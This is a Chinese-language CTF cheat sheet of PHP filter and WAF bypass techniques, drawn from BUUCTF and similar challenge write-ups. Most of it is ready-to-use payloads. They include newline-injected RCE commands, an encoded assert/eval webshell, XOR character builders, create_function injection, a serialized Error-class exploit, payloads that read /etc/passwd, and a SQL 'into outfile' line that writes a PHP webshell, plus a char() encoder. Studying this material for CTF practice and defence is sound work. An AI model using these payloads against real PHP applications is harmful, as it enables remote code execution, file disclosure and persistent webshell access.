正则匹配(如preg_match)及一些过滤绕过
1、当preg_match采用了^xxx$的格式,同时也采用了.*这样的贪婪匹配
主要是用 /^开头 $/结尾的匹配模式时 ( /^ ..... $/ )
<?php putenv('PATH=/home/rceservice/jail');
#以上代码禁止直接调用cat等OS命令(ls命令可以用),此时可以使用绝对路径方式调用OS命令
#如 cat flag.txt ===> /bin/cat flag.txt if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } } ?>
绕过方式:回溯次数超限或是利用%0a(换行)绕过
%0a绕过: %0a{"cmd":"命令"}%0a 或是 {%0a"cmd":"命令"%0a}
eg:
%0a%0a{"cmd":"/bin/cat /flag.txt"}%0a%0a
%0a%0a{"cmd":"/usr/bin/find / -name flag*"}%0a%0a
%0a%0a{"cmd":"/bin/cat $(/usr/bin/find / -name flag*)"}%0a%0a
注意:表达式中\x00-\x1F 会匹配掉一个%0a,此时,可以多写几个%0a,find和cat命令的绝对路径不一样。
%0a绕过时,有时只需要在 前或后 添加%0a ,有时前后都需要加,根据实际情况尝试。
参考:[BUUCTF题解][FBCTF2019]RCEService - Article_kelp - 博客园 (cnblogs.com)
2、当preg_match过滤所有数字字母时:
preg_match("/[A-Za-z0-9]+/",$code)
绕过方法:
1)可以利用两个非字母数字的字符通过异或运算构造字母数字的方法
2)利用URL编码取反的操作来尝试绕过:
<?php error_reporting(0); $a='assert'; $b=urlencode(~$a); echo $b; echo "<br>"; $c='(eval($_POST[test]))'; $d=urlencode(~$c); echo $d; ?> 输入时记得加~ 如:(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CA%CA%A2%D6%D6); 《==》assret(eval($_POST[55]));
参考:BUUCTF:[极客大挑战 2019]RCE ME ——两种方法-CSDN博客
3、非字母数字及长度绕过
if(!preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
可以尝试利用数组绕过;
如原本参数 nickname= 写为 nickname[]=
注意:若是构造序列号字符串时,数组,需要重新构造并且用}闭合
如:nixkname[]=where";}s:5:"photo";,非数组则有nickname=where";s:5:"photo"
参考:[0CTF 2016]piapiapia - LLeaves - 博客园 (cnblogs.com) BUUCTF-WEB 【0CTF 2016】piapiapia 1_[0ctf 2016]piapiapia 1-CSDN博客
4、 _(下划线)和 %5f过滤 :
可以尝试用 ' '(空格) 、'.'(点) 和 %5F过滤。 (对应URL编码过滤的,可以尝试利用大小写转换绕过)
5、jsfuck代码
若是在代码中遇到 一堆 ()[]!等字符组成的字符串时(如:[][(![]+[])[+[]]+([![]]+[][[]]))那它大概率是jsfuck代码,直接复制该代码,然后再控制台执行,可能会有所收获。
参考:MRCTF2020套娃 |北歌 (kinsey973.github.io)
5、无字母数字RCE异或脚本
$hhh = @$_GET['_'];
if(strlen($hhh)>18){ //对参数长度进行限制 die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) //对参数内容进行过滤; die('Try something else!');
以上代码中对参数进行数字、字母、~等过滤,因此此处不能进行URL编码取反绕过,可以尝试利用异或编码进行绕过,加之上述代码还对长度进行限制:
可以尝试构造 $_GET[]();的格式进行调用,[]被过滤,可以尝试利用{}代替。
这可以尝试构造: ?_=$_GET{_}();&_=phpinfo (只需要对$_GET{_}();&_中被过滤的字符进行异或编码即可;后面的phpinfo是想要执行的内容,也可以是其它)
<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET");
?>
参考:[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园 (cnblogs.com)
6、闭合原有代码,构造新的可利用代码
<?php $shell = $_GET['shell']; if(preg_match('/\x0a|\x0d/',$shell)){ //过滤换行 echo ':('; }else{ eval("#$shell"); //说实话该代码,不知道怎么执行$shell,我在本地尝试执行过,却什么也没有,不知道怎么回事, }
类似以上这种,不能直接利用的,可以尝试闭合原本代码,构造新的代码;
例如: ?shell=?><?php eval(phpinfo());?> (假设它没有对输入进行过滤,且没有禁用我们使用的函数)
payload:
?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}?> #扫描目录 ;?><?php $file=new SplFileObject('/etc/passwd'); while(!$file->eof()){echo $file->fgets();}// #读取文件内容(低权限) ?><?php echo new SplFileObject('php://filter/convert.base64-encode/resource=/etc/passwd'); ?> #读取文件内容(base64)
参考:DASCTF-phpms - 麟原 - 博客园 (cnblogs.com)
DASCTF 2025上半年赛-web1 phpms Writeup-CSDN博客
7、绕过
$_SERVER['QUERY_STRING'] (用于获取链接中?之后的内容,即get请求中所有参数的内容)
if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou||pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) )
$_SERVER['QUERY_STRING']
不会进行url解码,$_GET[]
会,所以可以用url编码绕过。
$_REQUEST
绕过
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
$_REQUEST在同时接收GET和POST参数时,POST优先级更高;当我们同时提交get和post请求时,这个foreach是以post请求优先进行遍历。此时的$_REQUEST
就是post传入的内容,那么get中的内容就逃脱了
file_get_contents
函数
if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
file_get_contents
函数,用data伪协议绕过data://text/plain,debu_debu_aqua
shal()绕过
sha1()函数无法处理数组,$shana和$passwd都是数组时都是false。$shana[]=1&$passwd[]=2
extract函数变量覆盖
extract($_GET["flag"]);
flag[code]=覆盖$code变量的值 flag[arg]=覆盖$arg变量的值
假设code和arg是变量
create_function()代码注入
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); }
$code
和$arg
可控,利用$code('',$arg)
进行create_function注入
function a('',$arg){ return $arg }
$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容
function a('',$arg){ return }代码;// }
构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
具体参考:[BJDCTF2020]EzPHP - Rabbittt - 博客园 (cnblogs.com)
BUUCTF-WEB [BJDCTF2020]EzPHP 1-CSDN博客
无字母数字的webshell脚步:
1、检测上传文件中没有被过滤字符的脚步:
import requests as res import time def check(url,alph): header={ 'Host':'9a61ef4c-5146-471d-ba31-0198e80df618.node3.buuoj.cn', 'Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127' } data=""" -----------------------------339469688437537919752303518127 Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain 12345{} -----------------------------339469688437537919752303518127 Content-Disposition: form-data; name="submit" 提交 -----------------------------339469688437537919752303518127-- """ #这里因为上传的内容还有上传按钮的值"提交",所以采用encode('utf-8'),但实际上可以去掉"提交"上传,这里也就不需要encode('utf-8')了 response=res.post(url,data=data.format(alph).encode('utf-8'),headers=header) while response.status_code!=200: time.sleep(0.3) response=res.post(url,data=data.format(alph).encode('utf-8'),headers=header) return response.text url="http://9a61ef4c-5146-471d-ba31-0198e80df618.node3.buuoj.cn/index.php?act=upload" alphs='' for i in range(33,127): bak=check(url,chr(i)) if bak.find("illegal",0)==-1: print("Can use {}".format(chr(i))) alphs+=chr(i) else: print("Cn't use {}".format(chr(i))) print('[*'+alphs+'*]')
参考:[BUUCTF题解][SUCTF 2018]GetShell 1 | 附:utf-8汉字取反得26英文字母(分大小写)字典 - Article_kelp - 博客园 (cnblogs.com)
使用非常规字符写出Shell - Article_kelp - 博客园 (cnblogs.com)
一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
PHP类中的MD5及SHA1比较绕过(常见于反序列化中)
注意:类中的MD5及SHA1绕过与平时(没有类时)的绕过不一样,它涉及PHP原生类、Error和Exception类的__toString方法。通过创建不同的Error对象但使它们的__toString返回相同值,成功绕过了MD5和SHA1的校验,最终实现payload执行,包含flag。Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7
payload:
<?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>
参考及更详细讲解:[极客大挑战 2020]Greatphp-CSDN博客
XXE绕过WAF
通过外来编码绕过:
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
以utf-8转码为utf-16绕过为例:(kali虚拟机中尝试)
shell.xml是utf-8编码的文件,shell1.xml是utf-16编码的文件(即我们需要的转码后的文件)
注意:转码结束后,不能从虚拟机中直接打开文件复制内容出来,需要将整个从虚拟机中拉出来(复制出来)
参考:绕过WAF保护的XXE-先知社区 (aliyun.com) (改文章中有四种XXE绕过WAF的方法)
[CSAWQual 2019]Web_Unagi 1 - z3ghxxx - 博客园 (cnblogs.com)
PHP代码执行中的一些绕过
浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客
图片检测绕过
finfo_file() :检测图片类型;getimagesize() :检测图片长宽
若是在文件上传中使用了这两个函数检查图片的类型及长宽;可以用如下方式绕过:
利用图片工具,如: Hex Fiend 、Hex workshop等工具将其除文件头部分的所有数据删除,破坏掉文件长宽等其余信息,就可以绕过getimagesize()
函数的检验
以png图片为例,只保留 :89504E470D0A1A0A0000000D49484452
参考:BUUCTF [HarekazeCTF2019] Avatar Uploader 1_[harekazectf2019]avatar uploader 1-CSDN博客
预处理语句注入
SQL注入中过滤了select然后存在堆叠查询的情况,可以使用预处理语句注入。
可以使用char()绕过被过滤的关键字。
如:select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';
str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';" len_str=len(str) for i in range(0,len_str): if i == 0: print('char(%s'%ord(str[i]),end="") else: print(',%s'%ord(str[i]),end="") print(')')
#结果:
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)
预处理语句格式:
set @a='sql语句'; #set的作用就是定义一个变量,变量的命名必须是@开头 prepare 预处理语句名字 from @a; #prepare语句用于预定义一个语句,不可以指定预定义语句名称;这里的名字是自己取的,但要和下面的名字一致 execute 预处理语句名字; #execute则是执行预定义语句
参考:[2018年中联论坛]多SQL |北歌 (kinseyy.github.io)